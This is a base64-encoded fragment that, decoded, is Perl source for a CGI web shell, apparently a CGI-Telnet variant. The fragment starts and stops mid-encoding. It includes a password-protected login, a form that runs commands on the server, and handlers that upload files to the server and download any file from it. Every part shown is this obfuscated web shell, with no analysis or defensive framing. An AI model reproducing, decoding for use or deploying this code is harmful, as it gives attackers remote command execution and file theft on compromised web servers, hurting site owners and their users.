iI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCQ0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS